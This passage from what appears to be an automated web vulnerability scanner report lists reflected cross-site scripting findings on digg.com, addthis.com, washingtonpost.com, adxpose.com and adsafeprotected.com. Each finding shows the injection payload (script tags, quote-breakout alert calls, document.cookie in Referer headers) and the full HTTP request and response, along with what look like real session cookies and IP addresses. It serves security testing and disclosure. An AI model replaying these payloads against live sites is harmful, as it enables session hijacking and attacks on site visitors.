Set-Cookie: traffic_control=-781655937076164456%3A203; expires=Wed, 11-May-2011 13:58:52 GMT; path=/; domain=digg.com
X-Digg-Time: D=39319 10.2.130.26
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 146

__Digg_Callback_1eaee3<script>alert(1)</script>c52ecfdb3c8({
"count": 0,
"timestamp": 1305035932,
"total": 0,
"stories": []
});

4.170. http://digg.com/tools/services [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/tools/services

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 868a0<script>alert(1)</script>9429f2ba3b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tools/services?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&868a0<script>alert(1)</script>9429f2ba3b4=1 HTTP/1.1
Host: digg.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: d=fb1af30888f0820a9f09d171b75eb93394e3b17bd833ffed352d5b5c4836e393; __utmz=146621099.1304250250.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1306842255367%26vn%3D1; s_vi=[CS]v1|26DEA3D10501174B-40000100A00037A2[CE]; __utma=146621099.2000529129.1304250250.1304250250.1304250250.1; s_nr=1304250295878

Response

HTTP/1.1 403 Forbidden
Date: Tue, 10 May 2011 13:59:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Last-Modified: Tue, 10 May 2011 13:59:31 GMT
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=-781655937076164456%3A203; expires=Wed, 11-May-2011 13:59:32 GMT; path=/; domain=digg.com
X-Digg-Time: D=24526 10.2.129.145
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 168

__Digg_Callback_1({
"status": 403,
"timestamp": 1305035972,
"message": "Unknown argument 868a0<script>alert(1)</script>9429f2ba3b4",
"code": 1001
});

4.171. http://ds.addthis.com/red/psi/sites/store.androidcentral.com/p.json [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.addthis.com
Path:	/red/psi/sites/store.androidcentral.com/p.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload c52a8<script>alert(1)</script>535e7f620fe was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /red/psi/sites/store.androidcentral.com/p.json?callback=_ate.ad.hprc52a8<script>alert(1)</script>535e7f620fe&uid=4dab4fa85facd099&url=http%3A%2F%2Fstore.androidcentral.com%2Fjabra-bt2080-bluetooth-headset%2F9A32A5717.htm&ref=http%3A%2F%2Fstore.androidcentral.com%2Fmotorola-droid-x-bluetooth.htm&uxf908 HTTP/1.1
Host: ds.addthis.com
Proxy-Connection: keep-alive
Referer: http://s7.addthis.com/static/r07/sh41.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; di=%7B%7D..1304951889.1FE|1304955482.1OD|1304962167.19F|1304951889.60; dt=X; uit=1; psc=4; uid=4dab4fa85facd099

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Length: 131
Content-Type: text/javascript
Set-Cookie: bt=; Domain=.addthis.com; Expires=Tue, 10 May 2011 14:04:53 GMT; Path=/
Set-Cookie: dt=X; Domain=.addthis.com; Expires=Thu, 09 Jun 2011 14:04:53 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA"
Expires: Tue, 10 May 2011 14:04:53 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 14:04:53 GMT
Connection: close

_ate.ad.hprc52a8<script>alert(1)</script>535e7f620fe({"urls":[],"segments" : [],"loc": "MjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg=="})

4.172. http://echoapi.washingtonpost.com/v1/count [q parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://echoapi.washingtonpost.com
Path:	/v1/count

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 848c8<a>735b9633ebe was submitted in the q parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /v1/count?callback=jsonp1305033204688&q=(childrenof%3A+http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html+(((state%3AUntouched+user.state%3AModeratorApproved)+OR+(state%3ACommunityFlagged%2CModeratorApproved+-user.state%3AModeratorBanned%2CModeratorDeleted)+)+)++source%3Awashpost.com)+itemsPerPage%3A+15+sortOrder%3A+reverseChronological+safeHTML%3Aaggressive+children%3A+2++(((state%3AUntouched+user.state%3AModeratorApproved)+OR+(state%3ACommunityFlagged%2CModeratorApproved+-user.state%3AModeratorBanned%2CModeratorDeleted)+)+)+848c8<a>735b9633ebe&appkey=prod.washpost.com HTTP/1.1
Host: echoapi.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243; wapo_saved_omnitureid=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D

Response

HTTP/1.1 200 OK
Connection: close
Server: Yaws/1.85 Yet Another Web Server
Date: Tue, 10 May 2011 13:33:28 GMT
Content-Length: 139
Content-Type: application/x-javascript; charset="utf-8"

jsonp1305033204688({ "result": "error", "errorCode": "wrong_query", "errorMessage": "Parse error near: \"848c8<a>735b9633ebe\" at 547" });

4.173. http://echoapi.washingtonpost.com/v1/search [q parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://echoapi.washingtonpost.com
Path:	/v1/search

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload c5071<a>349bbbb5a2d was submitted in the q parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /v1/search?callback=jsonp1305033204689&q=(childrenof%3A+http%3A%2F%2Fwww.washingtonpost.com%2Fblogs%2Fright-turn%2Fpost%2Frick-santorum-doesnt-understand-america%2F2011%2F03%2F29%2FAFHhSbBG_blog.html+(((state%3AUntouched+user.state%3AModeratorApproved)+OR+(state%3ACommunityFlagged%2CModeratorApproved+-user.state%3AModeratorBanned%2CModeratorDeleted)+)++AND+(+markers%3A+post_recommended++OR++user.markers%3A+top_commenter%2Cstaff%2Cdefault+)+)++source%3Awashpost.com)+itemsPerPage%3A+15+sortOrder%3A+reverseChronological+safeHTML%3Aaggressive+children%3A+2++(((state%3AUntouched+user.state%3AModeratorApproved)+OR+(state%3ACommunityFlagged%2CModeratorApproved+-user.state%3AModeratorBanned%2CModeratorDeleted)+)+)++c5071<a>349bbbb5a2d&appkey=prod.washpost.com HTTP/1.1
Host: echoapi.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243; wapo_saved_omnitureid=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D

Response

HTTP/1.1 200 OK
Connection: close
Server: Yaws/1.85 Yet Another Web Server
Date: Tue, 10 May 2011 13:33:29 GMT
Content-Length: 139
Content-Type: application/x-javascript; charset="utf-8"

jsonp1305033204689({ "result": "error", "errorCode": "wrong_query", "errorMessage": "Parse error near: \"c5071<a>349bbbb5a2d\" at 630" });

4.174. http://event.adxpose.com/event.flow [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload 7a170<script>alert(1)</script>96ac16dac67 was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /event.flow?eventcode=000_000_12&location=http%3A%2F%2Fwww.androidcentral.com%2Fandroid-central-google-io-2011&uid=ZC45X9Axu6NOUFfX_2896687a170<script>alert(1)</script>96ac16dac67&xy=0%2C0&wh=160%2C600&vchannel=69113&cid=172249&iad=1305033310863-45461780740879480&cookieenabled=1&screenwh=1920%2C1200&adwh=160%2C600&colordepth=16&flash=10.2&iframed=1 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=8046e9fe-2ba6-4040-b3b9-5d1af9c46888

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=5D4A3B63E2417E512E42511748755599; Path=/
Cache-Control: no-store
Content-Type: text/javascript;charset=UTF-8
Content-Length: 145
Date: Tue, 10 May 2011 13:42:25 GMT
Connection: close

if (typeof __ADXPOSE_EVENT_QUEUES__ !== "undefined") __ADXPOSE_DRAIN_QUEUE__("ZC45X9Axu6NOUFfX_2896687a170<script>alert(1)</script>96ac16dac67");

4.175. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [PluID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the PluID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a4f1"-alert(1)-"47baa447c22 was submitted in the PluID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=03a4f1"-alert(1)-"47baa447c22&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B18F77AE7497ED2AA7EBFEE84BCA878E; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:08 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=03a4f1"-alert(1)-"47baa447c22&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs
...[SNIP]...

4.176. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload af41a"-alert(1)-"318cdd670ea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.comaf41a"-alert(1)-"318cdd670ea/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FAC768AAD0568E58868C675739B34BC9; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:12 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.comaf41a"-alert(1)-"318cdd670ea/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B43
...[SNIP]...

4.177. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c668"-alert(1)-"b133c35a467 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/93498c668"-alert(1)-"b133c35a467/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E55688994674FA89DA9A65B956E3C97F; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:13 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/93498c668"-alert(1)-"b133c35a467/83990/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-30
...[SNIP]...

4.178. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f639a"-alert(1)-"3af93ed8083 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990f639a"-alert(1)-"3af93ed8083/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9723717BD65B4854AA863D307EF9698A; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:14 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990f639a"-alert(1)-"3af93ed8083/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%
...[SNIP]...

4.179. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2da2a"-alert(1)-"f2f2ac8cc94 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe2da2a"-alert(1)-"f2f2ac8cc94/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=9951264BD0C21FF2DE22BF76C3F6A00B; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:15 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe2da2a"-alert(1)-"f2f2ac8cc94/adServer.bs?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41
...[SNIP]...

4.180. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 562e0"-alert(1)-"677d684aa67 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs562e0"-alert(1)-"677d684aa67?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=4F54AA2B68FFD9B40BDEE42B5A24C269; Path=/
Content-Type: text/javascript
Content-Length: 8152
Date: Tue, 10 May 2011 14:23:15 GMT
Connection: close

var adsafeVisParams = {
   mode : "jss",
   jsref : "http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1",
   adsafeSrc : "http://fw.adsafeprotected.com/rfw/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs562e0"-alert(1)-"677d684aa67?cn=rsb&c=28&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%
...[SNIP]...

4.181. http://fw.adsafeprotected.com/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs [c parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fw.adsafeprotected.com
Path:	/rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs

Issue detail

The value of the c request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79b31"-alert(1)-"b494addebb4 was submitted in the c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /rjss/bs.serving-sys.com/9349/83990/BurstingPipe/adServer.bs?cn=rsb&c=2879b31"-alert(1)-"b494addebb4&pli=2378235&PluID=0&w=300&h=250&ord=1549084&ucm=true&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/t%3B239399694%3B0-0%3B1%3B15851402%3B4307-300/250%3B41507883/41525670/1%3B%3B%7Eaopt%3D2/1/6b6e/0%3B%7Esscs%3D%3f$$ HTTP/1.1
Host: fw.adsafeprotected.com
